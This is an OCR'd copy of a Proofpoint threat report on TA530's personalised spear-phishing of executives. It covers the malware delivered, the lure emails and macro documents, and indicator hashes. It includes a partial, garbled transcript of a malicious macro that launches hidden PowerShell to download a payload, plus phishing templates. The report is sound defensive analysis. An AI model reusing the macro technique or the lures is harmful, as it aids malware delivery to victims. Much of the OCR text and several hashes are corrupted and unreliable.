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The rule of thumb for phishing emails is that the more personalized they are, the more effective they will be.
Personalization, though, is expensive, both in terms of the necessary research and preparation of highly targeted malicious
emails. The tradeoff between efficacy and cost has always been a constraint on attackers. Unfortunately, Proofpoint has
recently observed one actor who appears to have found a way to scale spear phishing. One recent study puts the average cost
of a successful spear phishing campaign at $1.6 million per incident - if spear phishing becomes the norm instead of the

outlier, the math becomes fairly intimidating for targeted organizations.

Since January 2016, a financially motivated threat actor whom Proofpoint has been tracking as TA530 has been targeting
executives and other high-level employees, often through campaigns focused exclusively on a particular vertical. For
example, intended victims frequently have titles of Chief Financial Officer, Head of Finance, Senior Vice President, Director

and other high level roles.

Additionally, TA530 customizes the email to each target by specifying the target’s name, job title, phone number, and
company name in the email body, subject, and attachment names. On several occasions, we verified that these details are
correct for the intended victim. While we do not know for sure the source of these details, they frequently appear on public
websites, such as LinkedIn or the company’s own website. The customization doesn't end with the lure; the malware used in

the campaigns is also targeted by region and vertical.

While these campaigns aren't approaching the size of, for example, Dridex and Locky blasts that go after very large numbers
of random recipients, TA530 has sent approximately a third of a million personalized messages to recipients in US, UK, and

Australian organizations. These attacks are quite large relative to other selective or spear phishing campaigns.

We observed TA530 at times targeting only a specific and narrow vertical, such as Retail and Hospitality. At other times, the

campaigns appear more widespread. Overall, the volume of messages targeting each vertical is shown below:
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Figure 1: Top targeted industries

Malware Arsenal

In addition to the targeted and personalized approach, we observed TA530 having access to the necessary infrastructure and

attempting to deliver and install the following primary malware payloads.

o Ursnif ISFB - banking Trojan configured to target Australian banks

 Fileless Ursnif/RecoLoad - Point of Sale (PoS) reconnaissance Trojan targeted at Retail and Hospitality. It was first
featured in Kafeine’s blog [1] in July of 2015, which suggests that it has been in distribution since 2014; shortly
after, it was described with more detail by Trend Micro [2].

¢ Tiny Loader - a downloader used in campaigns targeting Retail and Hospitality verticals. We have not observed it
download secondary payloads, but previously it has been used to download malware such as AbaddonPOS [3].

¢ TeamSpy/TVSpy - RAT utilizing Teamviewer [4], primarily targeted at Retail and Hospitality

e CryptoWall - File encrypting ransomware targeted at a variety of companies

¢ Nymaim - Installs a banking Trojan [5] primarily targeted at Financial companies

¢ Dridex Botnet 222 - banking Trojan botnet with UK targeting. Proofpoint first observed this botnet when it was

dropped by Bedep in January 2016 [6]
TAS530 also used additional intermediary loaders such as HIN1 Loader and Smoke Loader.
Campaigns

One of the trends we noticed is that the POS-oriented payloads (TinyLoader and Fileless Ursnif) and TVSpy were targeted at

retail and hospitality companies, while the banking and ransomware payloads were targeted a wider variety of companies. In

each case, however, they were primarily still aimed at high-value employees.
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Figure 2: Fileless Ursnif campaigns targeting primarily Retail and Hospitality verticals

In one email targeting a retail company, we saw TA530 attempting to infect a manager. In that particular message, the actor
used the target's name, phone number, and the company they work for to “report” an incident at one of the retail locations
using the actual address of that location. If the target were to open the attachment (Figure 3), and macros were enabled, it

would infect the user by running WMI commands to launch Powershell with a command to download and launch the

Fileless Ursnif payload from a byte array (Figure 4).
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BHEH S O- Incident at’ .- For the attention of 14005107 doc [Compatibility Mode] - Word ?2 H - 0O %

HOME INSERT DESIGM PAGE LAYOUT REFEREMCES MAILINGS REVIEW VIEW Sign in

| SECURITY WARNING Macros have been disabled. Enable Content

DkdBe Ed

\'} g Microsoft Word 2016

Attention! This document was created in the latest version of Microsoft Office ™

Please enable macros to correctly display content

Figure 3: Example document used to deliver Fileless Ursnif

[ %ub AutoOpend)
Const HIDDEN WINDOW = O Winmgmt is the WMI service within the

Streomputer = .7 svchost process

x1 = "Downlozd™ e ey
= "3tring"

= Set _ = GetCbject & strComputer & "hroothcimvi™)

WMI creating a Powershell process

Set objStartup = cbjWMIServiee.Get{"lin3zZ FrocessStarcup™)

Zet objcConfig = objStartup.Spawnlnstance ....‘._.. e RS

10 chiconfig.ShowWindow = HIDDEN WINDOW /’
11 Set objProcess = GetCbhject(n =R rComputer & "\ rooticimvi:Winiz Process")
iz ohjProcess.Create . ".gxe -ExecutionFPolicy Evpass -Windowlityle Hidden -poprofils —nosxikh -c

if ([IntPtr]::=size -gg 4) { (new-object MNet.WebClient)."™ & x1 & x2 &
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Figure 4: Macro used in document serving Fileless Ursnif

In other recent examples, we see the messages specify the company name, the contact’s name (Figure 6 and 7), and even the
contact’s position in the company (Figure 6). Again, the attachment is a Word document (Figure 8) containing macros, but in
this case, the document simply downloads and runs an executable. In these examples, the delivered payload is Nymaim. We
have observed Nymaim utilizing Ursnif to perform banking injects. It appears the intent is to infect employees who have a
higher chance of interacting with banking websites on behalf of the company. Similar emails (Figure 9) have also been used

to distribute an instance of Ursnif which targets Australian banking sites with its web injects.
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Figure 5: Nymaim banking Trojan targeting primarily Financial Services

H S O ¢+ = , Invoice 105219 for - Intuit QuickBooks - Message (HTML)
MESSAGE

Wed 3/23/2016 1:14 FM

Karen Miles <maik.sprenger@t-online.de>
| . Invoice 105219 for - Intuit QuickBoaoks

Message - f _QB-INV3397686.doc (114 KB}

Dear &= L.
Here 1z vour invoice! We appreciate vour early deposit of 51,744.00.

Kind Regards,
Union Community Bank

nfuit

o See more about Karen Miles.

QuickBooks © Intuit, Inc. ALl rights reserved. Privacy | Tems of Service

Figure 6: Example email delivering Nymaim

Page 5 of 13




https://www.proofpoint.com /us/threat-insight /post /phish-scales-malicious-actor-target-execs

H = -FYL "™ ' has an outstanding issue requiring your attention - Message (... ?T H

MESSAGE

Tue 3/15/2016 1:53 PM

-FYL 1 has an outstanding issue requiring your attention
To |
Message E’ _Past due_Quote_no.Z103094033.doc (115 KE)
This is a private notification for the Head of ] “° Finance Section, u ', If you are not them, please ignore and delete it
Hello 1™

As we have not received a service cessation letter, I am assuming that vou might have accidentally overlooked this invoice
02/16000506500 (Unpaid). Should vou want to bring to an end the agreement, just let us know. Be informed that early
withdrawal penalties will applv.

Refer to the attached document for payment details.

Best,

o See more about”

Figure 7: Example email delivering Nymaim
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El H = _QB-INV3897686.doc [Compatibility Mode] - Word ? H - O X
HOME INSERT DESIGM PAGE LAYOUT REFEREMCES MAILINGS REVIEW VIEW Sign in

1 SECURITY WARNING Macros have been disabled. Enable Content x

[Tax Invoice
infurt

Order Number: US16/01900581
Bank: CHASE Bank USA QuickBooks

Order Information Customer Information
Org——

Org
org & Microsoft

" Microsoft
=~  Word 2016

This document was created in a later version of Microsoft Office.
To properly display the document, please Enable Content.

=y

Learn more
1.00

0.00
1.00

Please note that your order will not be processed until we have received your direct deposit payment - this
may take 24-48 hours.

PAGE1 OF1 104 WORDS

Figure 8: Example document used to deliver Nymaim
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=] = Transaction reference (QuickBooks ID:53724343) - Message (HTML) ? BH - O X
MESSAGE

Tue 3/22/2016 10:01 PM
- <Schreinerei.Otmar-Kirsten@t-online.de>
Transaction reference (QuickBooks 1D:53724343)

To

Message iE[e]:0 _36020162.doc (114 KE)

Dear —

This is to advise you that the invoice 0144218 has been cleared on the 22nd of March. We deposited $1,073.00 to the account of
Please zee enclosed the QuickBooks Payments transaction reference.
Please reply to confirm the receipt of this notice.

Best,
= - - u e L] Accounts Payable
= w.New South Wales, 2576.
€ see more about . ~

Figure 9: Example email delivering Ursnif ISFB

Here we see another similar email (Figure 10) targeting an HR director, except this time the email is targeting a company in
the UK and the attached document (Figure 11) leads to the installation of Dridex botnet 222. Dridex 222 webinjects/redirects

are primarily configured for UK targets.
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H s ATT: HR Director of - Overdue invoice - Message (HTML) (Read-Only) ? BH -
MESSAGE

Fri 2/19/2016 &:32 AM

ATT: HR Director of - Overdue invoice
To
Message E;’ CHEXXINC Payment Advise_ID00-4957.doc (295 KB}
FAQ: the HR Director of | Clignt 1D: 001-02774

Dear UK & Global Functions
How are things?
| am writing to inform you thatwe have not yet received the funds for the invoice below:
Invoice # 000129040916
Invoice Total £ 1,262
Due date 15th of February 2016
Billed to w g wm—
Would you mind if | asked you to review the payment advise note (see attached) and get back to us with your status.

Justin case, is the phone number we have on file a valid way to contact you? If you need any further information, please do not hesitate to contact me.

Thanks again.

Business Development Manager
E The linked image cannot be
displayad. The file may have bes

Tal:

E-Mail:
Web:

Skype:

LinkedIn:

€ 5ee more about D

Figure 10: Example email delivering Dridex 222
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(I J = CHEXXINC Payment Advise_1D00-4357.doc - Word ? H - O %
HOME  INSERT ~ DESIGN  PAGELAYOUT  REFERENCES  MAILINGS  REVIEW  VIEW Sign in

| SECURITY WARNING Macros have been disabled. Enable Content

x
[v]

) Office

Attention! This document was created by a newer version of Microsoft Office ™.
Macros must be enabled to display the contents of the document.

Microsoft Office 2013 and 2010
For display the contents of the document click on Enable Content button.

Paste - 3 aby - Bz
" ¥ FormatPainter | B T 1 v abe X X ¥ - A- &
Clipboard ] Font ] e
1 SECURITY WARNING Macros have been disabled. Enable Content

I
Microsoft Office 2007

1. To display the contents of the document click on Options button.

Paste - A oA S e
¥ J Format Painter B 7 U-ahex x &Y A
Clipboard s Font fu

O Security Warning Macros have been disabled. Options...

2.Then select Enable this content and click on OK button

Micrasaft Office Security Options A=)

@ Security Alert - Macro

Macre
Macros have been deabled. Maars or other Do
not enable this contenit uniess you trust the source of this fle.

Warning: It is not possible to determine that this content came from a
source. this the

content provides critical henctionality and you trust its source.

Hore nfermation

Fie Path  Cr\Usersluseresktop|Doc 1 doc

Help probect me from Lnknown content (recomeended)

1

oworDs [<

Figure 11: Example document used to deliver Dridex 222

In our last example we see a personalized email (Figure 13) using the company name and contact’s name to deliver the
malicious document (Figure 14). In this case, the delivered payload was CryptoWall. This campaign targeted management or
higher level employees across several verticals (Figure 12), and since the payload is a ransomware, there was a higher

chance of encrypting valuable files.
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Figure 12: Cryptowall targeting

ﬂ| H g oa ¥ |; Papers for me— mE s |. - Message (HTML) = = 52

> @
x :3 = EJ g Pl Meeting “F Create Mew 3 ] onenote (£} Mark Unread aptb 54 Q
& Junk L‘J L%-

E Categorize =

Message

Delete | Reply Reply Forward 25 4, . Mave | i - Translate | Zoom
- 2 More = 5 5] Actions ¥ Follow Up ~ k s -
Delete | Respond | Quick Steps T | Maove | Tags T | Editing | Zoom |
From: Rie Tanaka <wuyao37914631rjvsm@163.com > Sent: Tue 19/01/2016 08:41
To: = m
Cc
Subject: Papers for.
A Message | 1] © 17345 dac [125 KE)
Helle 0 oo £
S

I trust vou' ve done splendidly and enjoved the season.

I sm comnecting with you upon Mr Magida request and with regerd of the recent case with our company.

The Management instructed me to send yvou the requested reports so I have gathered the data for you.

Please find the protected document attached.

Feel free reach me back on any aditional information at any time.

All the best,

Mary Altman/Glckal Waz Dirsctcr Operaticns
| e £

Chantal The Fairy

:
RIETanaka ~

Figure 13: Example email delivering CryptoWall “crypt5028”
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| H9-0|+ .decm (Protected View) - Microsoft Word = B 2R
ew > @
0 Protected View  This file originated as an e-mail attachment and might be unsafe. Click for more details. Enable Editing x

Home Insert Page Layout Referances Mailings Review Vi

| »

PROTECTED DOCUMENT

Thisfile is protected by Microsoft Office Macro protection.

If you are the authorized user, please enable “Editing and Contents” to unlock this document.

CAN’T VIEW THE DOCUMENT? FOLLOW THE STEPS BELOW.

1. Openthe documentin Microsoft office. Previewing online does notwork for Macro protected documents.

2. Ifyou downloaded this document from your email, please click “Enable Editing” or “Options” fromthe yellow
bar above.
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Figure 14: Example email delivering CryptoWall “crypt5028”

We have also observed TA530 using similarly personalized emails to distribute malicious links as well as messages
attaching JavaScript downloaders. Although we have observed TA530 using messages which were not personalized, this was

not the norm among most of these campaigns.
Conclusion

Based on what we have seen in these examples from TA530, we expect this actor to continue to use personalization and to
diversify payloads and delivery methods. The diversity and nature of the payloads suggest that TA530 is delivering payloads
on behalf of other actors. The personalization of email messages is not new, but this actor seems to have incorporated and

automated a high level of personalization, previously not seen at this scale, in their spam campaigns.

It is unlikely that these techniques will ultimately be limited to TA530. Rather, we expect increasing degrees of
personalization and targeting as actors learn to effectively harvest corporate data from public sites like LinkedIn, potentially
making their campaigns more effective. This is a natural extension of the types of activities we have been seeing on both the
malware and the impostor threat fronts and, as always, reinforces the need for both secure email gateway solutions and

ongoing user education.
References

[1] http://malware.dontneedcoffee.com/2015/07/a-fileless-ursnif-doing-some-pos.html

Page 12 of 13


http://malware.dontneedcoffee.com/2015/07/a-fileless-ursnif-doing-some-pos.html

https://www.proofpoint.com /us/threat-insight /post /phish-scales-malicious-actor-target-execs

[2] http://blog.trendmicro.com/trendlabs-security-intelligence/angler-exploit-kit-used-to-find-and-infect-pos-systems/

[3] https://www.proofpoint.com/us/threat-insight/post/AbaddonPOS-A-New-Point-Of-Sale-Threat-Linked-To-Vawtrak

Indicators of Compromise

€099d716b97b694468e99419e62151al1ac2ad4858677c3faalfb31c68d4fe50

408a53621f34427388c71c7343544e9794a0c1d85fcadadc3cbf2fbd39801ec7
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2cbad64{6454b598809063e58beed60d7a322{87720567997dda5{685ec5936a

A51BE357ABB2BB1CDF977EBEOSBEEB85943FAEFDA16855F0345EDFEE915C0CDB

d6b818c6ed3fd3be9f113d19cde7e43a2d4d46c2377ee91236986342ec00a828
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